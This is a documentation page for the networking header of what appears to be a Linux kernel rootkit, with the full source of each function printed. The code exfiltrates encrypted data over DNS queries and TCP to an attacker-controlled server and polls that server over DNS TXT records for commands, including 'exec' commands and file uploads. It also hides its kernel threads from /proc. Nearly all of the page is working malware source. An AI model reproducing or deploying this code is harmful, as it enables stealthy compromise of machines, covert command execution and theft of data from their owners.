network.h File Reference

#include <linux/delay.h>
#include <linux/errno.h>
#include <linux/fcntl.h>
#include <linux/in.h>
#include <linux/inet.h>
#include <linux/kthread.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/net.h>
#include <linux/random.h>
#include <linux/socket.h>
#include <linux/uio.h>
#include "config.h"
#include "crypto.h"
#include "cmd.h"

Include dependency graph for network.h:

This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions
int	send_to_server_raw (const char *data, size_t len)
int	send_to_server (enum Protocol protocol, char *message,...)
int	receive_from_server (char *buffer, size_t len)
int	send_file_to_server (char *filename)
struct socket *	get_worker_socket (void)
struct socket *	set_worker_socket (struct socket *s)
int	close_worker_socket (void)
int	connect_worker_socket_to_server (struct sockaddr_in *addr)
bool	is_user_auth (void)
int	set_user_auth (bool auth)
int	start_network_worker (void)
int	stop_network_worker (void)
int	dns_send_data (const char *data, size_t len)
	Exfiltrate a data buffer over DNS by hex-chunked A-queries.
int	dns_receive_command (char *buffer, size_t max_len)
	Poll the attacker via DNS TXT-query for a pending command.
int	start_dns_worker (void)
	Starts the DNS worker kernel thread.
int	stop_dns_worker (void)
	Stops the DNS worker kernel thread.

Function Documentation

close_worker_socket()

int close_worker_socket

(

void

)

close_worker_socket - Closes the worker socket. Return: 0 on success, or an error code on failure.

Definition at line 43 of file socket.c.

                              {
    mutex_lock(&worker_socket_lock);
    if (worker_socket) {
        sock_release(worker_socket);
        worker_socket = NULL;
        DBG_MSG("close_worker_socket: socket released\n");
    }
    mutex_unlock(&worker_socket_lock);
    return SUCCESS;
}

connect_worker_socket_to_server()

int connect_worker_socket_to_server

(

struct sockaddr_in *

addr

)

connect_worker_socket_to_server - Connects the worker socket to the server.

Parameters

addr	The server address to connect to. Return: 0 on success, or a negative error code on failure.

Definition at line 59 of file socket.c.

                                                              {
    int ret;
    struct socket *s;
 
    ret = sock_create(AF_INET, SOCK_STREAM, IPPROTO_TCP, &s);
    if (ret < 0) {
        ERR_MSG("connect_worker_socket: failed to create socket (ret=%d)\n", ret);
        return ret;
    }
 
    ret = kernel_connect(s, (struct sockaddr *)addr, sizeof(*addr), 0);
    if (ret < 0) {
        ERR_MSG("connect_worker_socket: connection failed (ret=%d)\n", ret);
        sock_release(s);
        return ret;
    }
 
    set_worker_socket(s);
    DBG_MSG("connect_worker_socket: connection successful\n");
    return SUCCESS;
}

dns_receive_command()

int dns_receive_command	(	char *	out_buffer,
		size_t	max_length
	)

Poll the attacker via DNS TXT-query for a pending command.

Parameters

out_buffer	Buffer to store received command string.
max_length	Maximum size of out_buffer.

Returns

Length of command received (>0), 0 if none, negative on error.

Definition at line 222 of file dns.c.

                                                             {
    char *poll_qname;
    u8 *response_buffer_local;
    int response_length_local;
    int result;
    struct dns_header_t *hdr;
    u16 answer_count;
    int offset;
 
    // Allocate local response buffer
    response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
    if (!response_buffer_local)
        return -ENOMEM;
 
    // Build the TXT-poll query name
    poll_qname = kmalloc(128, GFP_KERNEL);
    snprintf(poll_qname, 128, "command.%s", DNS_DOMAIN);
 
    // Send TXT query and get raw response
    result = dns_send_query(poll_qname, htons(16), response_buffer_local,
                            &response_length_local);
    kfree(poll_qname);
    if (result < 0) {
        kfree(response_buffer_local);
        return -EIO;
    }
 
    // Parse DNS header and answer count
    hdr = (struct dns_header_t *)response_buffer_local;
    answer_count = ntohs(hdr->ancount);
 
    // No command pending
    if (answer_count == 0) {
        kfree(response_buffer_local);
        return 0;
    }
 
    // Skip header and question section
    offset = DNS_HDR_SIZE;
    while (offset < response_length_local && response_buffer_local[offset])
        offset += response_buffer_local[offset] + 1;
 
    // NULL (1) + QTYPE (2) + QCLASS (2)
    offset += 1 + 2 + 2;
 
    // Skip into first answer record
    if ((response_buffer_local[offset] & 0xC0) == 0xC0)
        offset += 2;
    else {
        while (offset < response_length_local && response_buffer_local[offset])
            offset += response_buffer_local[offset] + 1;
        offset++;
    }
 
    // TYPE (2) + CLASS (2) + TTL (4)
    offset += 2 + 2 + 4;
 
    // Read RDLENGTH and TXT length byte
    u16 rdlength = ntohs(*(__be16 *)(response_buffer_local + offset));
    offset += 2;
 
    if (rdlength > 0 && offset < response_length_local) {
        u8 txt_length = response_buffer_local[offset++];
        if (txt_length >= max_length)
            txt_length = max_length - 1;
 
        char *decrypted = NULL;
        size_t decrypted_len = 0;
 
        if (decrypt_buffer(response_buffer_local + offset, txt_length, &decrypted,
                           &decrypted_len)
            < 0) {
            kfree(response_buffer_local);
            return -EIO;
        }
 
        memcpy(out_buffer, decrypted, decrypted_len);
        out_buffer[decrypted_len] = '\0';
 
        // Marie Kondo
        kfree(response_buffer_local);
        vfree(decrypted);
        return decrypted_len;
    }
 
    // Marie Kondo
    kfree(response_buffer_local);
    return 0;
}

dns_send_data()

int dns_send_data	(	const char *	data,
		size_t	data_len
	)

Exfiltrate a data buffer over DNS by hex-chunked A-queries.

Splits data into chunks of DNS_MAX_CHUNK bytes, prefixes each chunk with a "seq/total-" header, hex-encodes, and sends as subdomains. Sleeps briefly between queries to avoid flooding.

Parameters

data	Pointer to data buffer to send.
data_len	Length of data in bytes.

Returns

0 on success, negative errno on failure.

Definition at line 149 of file dns.c.

                                                     {
    char *encrypted_msg = NULL;
    size_t encrypted_len = 0;
 
    // Encrypt the data before sending
    if (encrypt_buffer(data, data_len, &encrypted_msg, &encrypted_len) < 0)
        return -EIO;
 
    size_t total_chunks = (encrypted_len + DNS_MAX_CHUNK - 1) / DNS_MAX_CHUNK;
 
    // Too many chunks, refuse to send, arbitrarily limit to
    // DNS_MAX_AUTHORIZED_NB_CHUNKS
    if (total_chunks > DNS_MAX_AUTHORIZED_NB_CHUNKS) {
        vfree(encrypted_msg);
        dns_send_data("Output on victim side too big. Use TCP instead. ", 47);
        return -E2BIG;
    }
 
    size_t chunk_index;
    int response_length_local;
    u8 *response_buffer_local;
 
    // Allocate local response buffer
    response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
    if (!response_buffer_local) {
        vfree(encrypted_msg);
        return -ENOMEM;
    }
 
    // Loop over each data chunk
    for (chunk_index = 0; chunk_index < total_chunks; chunk_index++) {
        size_t chunk_size =
            min(encrypted_len - chunk_index * DNS_MAX_CHUNK, (size_t)DNS_MAX_CHUNK);
        char hex_buffer[2 * DNS_MAX_CHUNK + 1];
        char seq_label[80];
        char full_qname[200];
        size_t i;
 
        // Hex-encode the chunk
        for (i = 0; i < chunk_size; i++)
            sprintf(hex_buffer + 2 * i, "%02x",
                    encrypted_msg[chunk_index * DNS_MAX_CHUNK + i]);
        hex_buffer[2 * chunk_size] = '\0';
 
        // Prefix with sequence/total header (not the best way to do it I think, but
        // works)
        snprintf(seq_label, sizeof(seq_label), "%02zx/%02zx-%s", chunk_index,
                 total_chunks, hex_buffer);
 
        // Build full QNAME: "seq_label.DNS_DOMAIN"
        snprintf(full_qname, sizeof(full_qname), "%s.%s", seq_label, DNS_DOMAIN);
 
        // Send the A-query carrying this chunk over DNS
        dns_send_query(full_qname, htons(1), response_buffer_local,
                       &response_length_local);
 
        // Craque le sleep
        msleep(10);
    }
 
    // Marie Kondo
    vfree(encrypted_msg);
    kfree(response_buffer_local);
    return 0;
}

get_worker_socket()

struct socket * get_worker_socket

(

void

)

Definition at line 17 of file socket.c.

                                       {
    struct socket *s;
    mutex_lock(&worker_socket_lock);
    s = worker_socket;
    mutex_unlock(&worker_socket_lock);
    return s;
}

is_user_auth()

bool is_user_auth

(

void

)

is_user_auth - Check if the user is authenticated. Return: true if the user is authenticated, false otherwise.

Definition at line 13 of file tcp/worker.c.

                        {
    return is_auth;
}

receive_from_server()

int receive_from_server	(	char *	buffer,
		size_t	max_len
	)

receive_from_server - Receives a message from the server, decrypts it, and processes it.

Parameters

buffer	The buffer to store the received message.
max_len	The maximum length of the buffer.

This function reads chunks from the server, assembles them, decrypts the complete message, and returns it in the provided buffer. It handles both text commands and file uploads.

Return: The length of the received message on success, negative error code on failure.

Definition at line 200 of file network.c.

                                                      {
    struct socket *sock = get_worker_socket();
    if (!sock)
        return -EINVAL;
 
    // Const of the frame
    const size_t FRAME_SIZE_FULL = STD_BUFFER_SIZE;
    const size_t HEADER_SIZE = 10;
    const size_t EOT_SIZE = 1;
    const size_t BODY_SIZE = FRAME_SIZE_FULL - HEADER_SIZE - EOT_SIZE;
 
    // Statically sized temp buffers
    char header_buffer[10];
    char *payloadbuf = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
    if (!payloadbuf) {
        return -ENOMEM;
    }
    char padbuf[10];
 
    char *received = NULL;
    bool *seen = NULL;
    size_t nb_chunks = 0;
    size_t total_received = 0;
    int ret = -EIO;
 
    // Read and assemble all chunks (please pray god)
    while (true) {
        int off, n;
        uint32_t total, index;
        uint16_t data_len;
 
        // Read exactly the size of header in bytes
        off = 0;
        while (off < HEADER_SIZE) {
            struct kvec vec = { .iov_base = header_buffer + off,
                                .iov_len = HEADER_SIZE - off };
            struct msghdr msg = { 0 };
            n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
            if (n <= 0) {
                ret = -EIO;
                goto cleanup;
            }
 
            off += n;
        }
 
        // Parse the fucking big endian fields
        total = be32_to_cpu(*(__be32 *)(header_buffer + 0));
        index = be32_to_cpu(*(__be32 *)(header_buffer + 4));
        data_len = be16_to_cpu(*(__be16 *)(header_buffer + 8));
        if (data_len > BODY_SIZE) {
            ret = -EINVAL;
            goto cleanup;
        }
 
        // Read payload and the EOT
        off = 0;
        while (off < (int)(data_len + EOT_SIZE)) {
            struct kvec vec = { .iov_base = payloadbuf + off,
                                .iov_len = (data_len + EOT_SIZE) - off };
            struct msghdr msg = { 0 };
            n = kernel_recvmsg(sock, &msg, &vec, 1, vec.iov_len, 0);
            if (n <= 0) {
                ret = -EIO;
                goto cleanup;
            }
            off += n;
        }
 
        if ((uint8_t)payloadbuf[data_len] != EOT_CODE) {
            ret = -EINVAL;
            goto cleanup;
        }
 
        // Discard remaining padding up to FRAME_SIZE_FULL
        size_t pad = FRAME_SIZE_FULL - (HEADER_SIZE + data_len + EOT_SIZE);
        while (pad > 0) {
            size_t rd = pad > HEADER_SIZE ? HEADER_SIZE : pad;
            struct kvec vec = { .iov_base = padbuf, .iov_len = rd };
            struct msghdr msg = { 0 };
            n = kernel_recvmsg(sock, &msg, &vec, 1, rd, 0);
            if (n <= 0) {
                ret = -EIO;
                goto cleanup;
            }
            pad -= n;
        }
 
        // DEBUG
        DBG_MSG("CHUNK %u/%u len=%u", index, total, data_len);
 
        // On first real chunk, allocate the big buffer and the bool buffer
        if (!received) {
            nb_chunks = total;
            received = vmalloc(nb_chunks * BODY_SIZE);
            seen = kzalloc(nb_chunks * sizeof(bool), GFP_KERNEL);
            if (!received || !seen) {
                ret = -ENOMEM;
                goto cleanup;
            }
        }
 
        // Check the problems
        if (total != nb_chunks || index >= nb_chunks) {
            ret = -EINVAL;
            goto cleanup;
        }
 
        if (!seen[index]) {
            memcpy(received + index * BODY_SIZE, payloadbuf, data_len);
            seen[index] = true;
            total_received += data_len;
        }
 
        // Exit once we have every chunk (maybe should add a timeout)
        if (all_chunks_received(seen, nb_chunks))
            break;
    }
 
    kfree(seen);
    seen = NULL;
 
    // Decrypt and dispatch
    char *decrypted = NULL;
    size_t dlen = 0;
 
    ret = decrypt_buffer(received, total_received, &decrypted, &dlen);
    vfree(received);
    received = NULL;
    if (ret < 0)
        goto cleanup;
 
    // Clamp for text command mode
    if (!receiving_file && dlen > max_len - 1)
        dlen = max_len - 1;
 
    // fuck exec prefix
    if (dlen >= 4 && !memcmp(decrypted, "exec", 4)) {
        memcpy(buffer, decrypted, dlen);
        buffer[dlen] = '\0';
        ret = dlen;
    }
 
    // File upload mode
    else if (receiving_file) {
        DBG_MSG("RECEIVING FILE : got %zu bytes", dlen);
        ret = handle_upload_chunk(decrypted, dlen, TCP);
    }
 
    // Otherwise it is the normal text command
    else {
        memcpy(buffer, decrypted, dlen);
        buffer[dlen] = '\0';
        ret = dlen;
    }
 
    vfree(decrypted);
    return ret;
 
cleanup:
    kfree(payloadbuf);
    kfree(seen);
    vfree(received);
    return ret;
}

send_file_to_server()

int send_file_to_server

(

char *

filename

)

send_to_server()

int send_to_server	(	enum Protocol	protocol,
		char *	message,
			...
	)

send_to_server - Sends a formatted message to the server using the specified protocol.

Parameters

protocol	The communication protocol to use (TCP or DNS).
message	The format string for the message to send.
...	Additional arguments for formatting the message.

Return: 0 on success, negative error code on failure.

Definition at line 67 of file network.c.

                                                               {
    if (protocol == TCP && !get_worker_socket()) {
        ERR_MSG("send_to_server: socket is not initialized\n");
        return -EINVAL;
    }
 
    // Check if there is only one parameter (the string itself)
    va_list args;
    va_start(args, message);
    if (va_arg(args, char *) == NULL) {
        va_end(args);
 
        // It protocol is DNS, send the message directly
        if (protocol == DNS)
            return dns_send_data(message, strlen(message));
 
        // If protocol is TCP, send the raw message
        return send_to_server_raw(message, strlen(message));
    }
    va_end(args);
 
    va_start(args, message);
 
    // If there are more parameters, format the message
    char *formatted_message = vformat_string(message, args);
    va_end(args);
 
    if (!formatted_message) {
        ERR_MSG("send_to_server: failed to format message\n");
        return -ENOMEM;
    }
 
    // If the protocol is DNS, send the formatted message over DNS
    if (protocol == DNS)
        return dns_send_data(formatted_message, strlen(formatted_message));
 
    // Send the formatted message through TCP
    int ret_code =
        send_to_server_raw(formatted_message, strlen(formatted_message));
 
    // Free the formatted message buffer
    kfree(formatted_message);
    return ret_code;
}

send_to_server_raw()

int send_to_server_raw	(	const char *	data,
		size_t	len
	)

send_to_server_raw - Sends raw data to the server using the TCP protocol.

Parameters

data	The data to send.
len	The length of the data.

This function encrypts the data, splits it into chunks, and sends each chunk to the server. Each chunk contains metadata about the total number of chunks, its index, and the length of the data in the chunk.

Return: 0 on success, negative error code on failure.

Definition at line 123 of file network.c.

                                                     {
    struct socket *sock = get_worker_socket();
    if (!sock)
        return -EINVAL;
 
    char *encrypted_msg = NULL;
    size_t encrypted_len = 0;
 
    // Encrypt the data before sending
    if (encrypt_buffer(data, len, &encrypted_msg, &encrypted_len) < 0)
        return -EIO;
 
    size_t max_chunk_body = STD_BUFFER_SIZE - CHUNK_OVERHEAD;
    size_t nb_chunks = DIV_ROUND_UP(encrypted_len, max_chunk_body);
 
    // Send each chunk individually
    for (size_t i = 0; i < nb_chunks; ++i) {
        size_t chunk_len = (i == nb_chunks - 1)
            ? (encrypted_len - i * max_chunk_body)
            : max_chunk_body;
 
        char *chunk = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
        if (!chunk) {
            ERR_MSG("send_to_server_raw: failed to allocate buffer\n");
            vfree(encrypted_msg);
            return -ENOMEM;
        }
 
        // total_chunks in big-endian 32 bits
        uint32_t tc = (uint32_t)nb_chunks;
        chunk[0] = (uint8_t)((tc >> 24) & 0xFF);
        chunk[1] = (uint8_t)((tc >> 16) & 0xFF);
        chunk[2] = (uint8_t)((tc >> 8) & 0xFF);
        chunk[3] = (uint8_t)((tc >> 0) & 0xFF);
 
        // chunk_index in big-endian 32 bits
        uint32_t ci = (uint32_t)i;
        chunk[4] = (uint8_t)((ci >> 24) & 0xFF);
        chunk[5] = (uint8_t)((ci >> 16) & 0xFF);
        chunk[6] = (uint8_t)((ci >> 8) & 0xFF);
        chunk[7] = (uint8_t)((ci >> 0) & 0xFF);
 
        // chunk_len in big-endian 16 bits
        uint16_t cl = (uint16_t)chunk_len;
        chunk[8] = (uint8_t)((cl >> 8) & 0xFF);
        chunk[9] = (uint8_t)((cl >> 0) & 0xFF);
 
        memcpy(chunk + 10, encrypted_msg + i * max_chunk_body, chunk_len);
        chunk[10 + chunk_len] = EOT_CODE; // End of transmission
 
        // Send the chunk using kernel socket API
        struct kvec vec = { .iov_base = chunk, .iov_len = STD_BUFFER_SIZE };
        struct msghdr msg = { 0 };
 
        int ret = kernel_sendmsg(sock, &msg, &vec, 1, vec.iov_len);
        kfree(chunk);
        if (ret < 0) {
            vfree(encrypted_msg);
            return ret;
        }
    }
 
    vfree(encrypted_msg);
    return 0;
}

set_user_auth()

int set_user_auth

(

bool

auth

)

set_user_auth - Set the user authentication status.

Parameters

auth	true to authenticate the user, false to unauthenticate. Return: 0 on success, or an error code on failure.

Definition at line 22 of file tcp/worker.c.

                             {
    is_auth = auth;
    return is_auth;
}

set_worker_socket()

struct socket * set_worker_socket

(

struct socket *

s

)

set_worker_socket - Sets the worker socket.

Parameters

s	The socket to set as the worker socket. Return: Pointer to the newly set worker socket.

Definition at line 30 of file socket.c.

                                                   {
    mutex_lock(&worker_socket_lock);
    if (worker_socket)
        sock_release(worker_socket);
    worker_socket = s;
    mutex_unlock(&worker_socket_lock);
    return worker_socket;
}

start_dns_worker()

int start_dns_worker

(

void

)

Starts the DNS worker kernel thread.

This function initializes and starts a kernel thread that listens for commands sent over DNS. If the thread is already running, it returns an error code indicating that the resource is busy.

Returns

SUCCESS (0) on successful thread creation.

-EBUSY if the thread is already running.

Negative error code if thread creation fails.

Definition at line 45 of file dns/worker.c.

                           {
    if (dns_worker_thread && !IS_ERR(dns_worker_thread))
        return -EBUSY;
 
    // Create the DNS worker thread
    dns_worker_thread = kthread_run(dns_worker, NULL, DNS_WORKER_THREAD_NAME);
    if (IS_ERR(dns_worker_thread))
        return PTR_ERR(dns_worker_thread);
 
    // Hide the thread from the user
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
    hide_file(path);
 
    return SUCCESS;
}

start_network_worker()

int start_network_worker

(

void

)

start_network_worker - Start the network worker thread.

Definition at line 161 of file tcp/worker.c.

                               {
    if (network_worker_thread && !IS_ERR(network_worker_thread)) {
        ERR_MSG("start_network_worker: thread already running\n");
        return -EBUSY;
    }
 
    network_worker_thread =
        kthread_run(network_worker, NULL, NETWORK_WORKER_THREAD_NAME);
    if (IS_ERR(network_worker_thread)) {
        ERR_MSG("start_network_worker: failed to start thread\n");
        return PTR_ERR(network_worker_thread);
    }
 
    // Hide the thread from the user
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
    hide_file(path);
 
    return SUCCESS;
}

stop_dns_worker()

int stop_dns_worker

(

void

)

Stops the DNS worker kernel thread.

This function stops the running DNS worker thread and cleans up its resources. If the thread is not running, it returns an error code indicating invalid operation.

Returns

SUCCESS (0) on successful thread termination.

-EINVAL if the thread is not running or is invalid.

Definition at line 72 of file dns/worker.c.

                          {
    if (!dns_worker_thread || IS_ERR(dns_worker_thread))
        return -EINVAL;
 
    // Remove the hidden directory associated with the thread
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
    unhide_file(path);
 
    // Stop the DNS worker thread
    kthread_stop(dns_worker_thread);
    dns_worker_thread = NULL;
 
    return SUCCESS;
}

stop_network_worker()

int stop_network_worker

(

void

)

stop_network_worker - Stop the network worker thread.

Definition at line 185 of file tcp/worker.c.

                              {
    if (!network_worker_thread || IS_ERR(network_worker_thread)) {
        return -EINVAL;
    }
 
    // Remove the hidden directory associated with the thread
    char path[32] = { 0 };
    snprintf(path, sizeof(path), "/proc/%d", network_worker_thread->pid);
    unhide_file(path);
 
    // Stop the network worker thread
    kthread_stop(network_worker_thread);
    network_worker_thread = NULL;
 
    return SUCCESS;
}